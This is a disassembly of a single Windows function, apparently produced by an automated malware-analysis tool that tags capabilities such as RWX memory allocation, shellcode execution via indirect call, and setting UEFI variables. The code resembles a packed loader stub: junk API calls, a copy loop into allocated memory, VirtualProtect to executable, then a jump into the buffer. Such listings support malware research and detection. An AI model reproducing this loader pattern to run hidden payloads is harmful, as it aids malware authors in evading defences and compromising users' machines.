Function at 0x40b030
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b51b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.0040aa90
mov eax, dword [0x458030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x458030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov ecx, dword [0x2c38164]
cmp ecx, 0x7c
jne 0x40b0cc
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
lea edx, [esp + 0x68]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x2c38164]
cmp ecx, 0x2d
jne 0x40b0ce
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, dword [0x2c38164]
jmp 0x40b0ce
xor esi, esi
mov edx, dword [0x459d84]
xor eax, eax
mov ebx, 0xec58acac
or edi, 0xffffffff
mov edi, edi
cmp eax, 0x1c3
jne 0x40b0ed
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b101
mov dword [0x45a918], ebx
mov dword [0x45a91c], edi
inc eax
cmp eax, 0xb9fa618
jl 0x40b0e0
mov dword [0x2c38164], ecx
xor edi, edi
cmp edi, 0x562d05
jne 0x40b123
mov eax, dword [0x458f68]
mov dword [0x2c38168], eax
cmp ecx, 0x3c
jne 0x40b139
push str.wawopu
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov ecx, dword [0x2c38164]
inc edi
cmp edi, 0x5f6c74
jl 0x40b111
cmp ecx, 0x110a
jne 0x40b286
push esi
mov dword [0x2c38030], esi
mov dword [0x2c38034], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.jiyefigocagupobabevihanediyuxagijakuzunekugezaxuxamasivuduguhihirozorojijodunajetehevojuniyesuziricawedafedalogunawibihuzala
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetCommState]
push esi
push esi
call fcn.00401190
push esi
push esi
call fcn.00401190
push 0x30
push 0x456db0
push str._s__c
push 0x45a890
call fcn.0040130e
push 4
call fcn.0040144a
add esp, 0x24
cmp eax, esi
je 0x40b1e6
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b1e8
xor eax, eax
mov dword [esp + 0x1c], eax
push esi
push esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call fcn.00401190
push 0x456db0
push 0x45a890
call fcn.0040130e
push esi
call fcn.004012f7
mov eax, dword [esp + 0x3c]
add esp, 0x14
cmp eax, esi
je 0x40b267
mov ebx, dword [esp + 0x2c]
cmp eax, ebx
je 0x40b25e
lea edi, [eax + 0x18]
lea ebx, [ebx]
cmp dword [edi], 8
jb 0x40b241
mov edx, dword [edi - 0x14]
push edx
call fcn.004013d3
add esp, 4
xor eax, eax
mov dword [edi], 7
mov dword [edi - 4], esi
mov word [edi - 0x14], ax
add edi, 0x1c
lea ecx, [edi - 0x18]
cmp ecx, ebx
jne 0x40b230
mov eax, dword [esp + 0x28]
push eax
call fcn.004013d3
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
call fcn.004013d3
mov ecx, dword [0x2c38164]
add esp, 4
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor edi, edi
mov dword [0x2c37e88], eax
cmp dword [0x2c38164], esi
jbe 0x40b2f0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x40b2b0
mov eax, dword [0x2c38168]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + edi]
mov eax, dword [0x2c37e88]
mov byte [eax + edi], dl
cmp dword [0x2c38164], 0x5ab
jne 0x40b2e7
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call ebx
inc edi
cmp edi, dword [0x2c38164]
jb 0x40b2b0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.msimg32.dll
call edi
mov edx, dword [0x2c38164]
mov eax, dword [0x2c37e88]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2c38164]
mov ecx, dword [0x2c37e88]
mov ebx, dword [0x458f70]
mov esi, eax
mov dword [esp + 0x10], ecx
cmp eax, 0x930
jne 0x40b345
push str.vagipibelo
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2c38164]
mov dword [0x45a914], ebx
cmp eax, 0x114e
jne 0x40b36b
lea edx, [esp + 0x3c]
push edx
push str.wakotavun
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call edi
mov eax, dword [0x2c38164]
cmp eax, 0x2f
jne 0x40b388
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ebx, dword [esp + 0x10]
mov edi, esi
call fcn.0040aea0
mov ecx, dword [0x2c37e88]
xor eax, eax
jmp 0x40b3a0
cmp eax, 0xbd9cb
jne 0x40b3ad
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b3a0
mov esi, dword [esp + 0x44]
mov dword [0x2c37e88], ecx
xor edi, edi
lea eax, [esp + 0x864]
push eax
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp edi, 0x1a01e
jle 0x40b3df
cmp esi, 0xf5bed7
jne 0x40b3e8
inc edi
cmp edi, 0x1ece7a52
jl 0x40b3c1
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c38164], 0xcc1
jne 0x40b41d
push 0
push 0
push str.cozoyor
push str.cufifopepivucehogezubogayes_piwuyatibeyitocogazuyav_rasutigaz_hegoteziferewih
call esi
cmp dword [0x2c38164], 0x7c4
mov dword [0x2c37e8c], ebx
jne 0x40b435
push 0
push 0
call edi
sub dword [esp + 0x10], 1
jne 0x40b401
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401070
mov esp, ebp
pop ebp
ret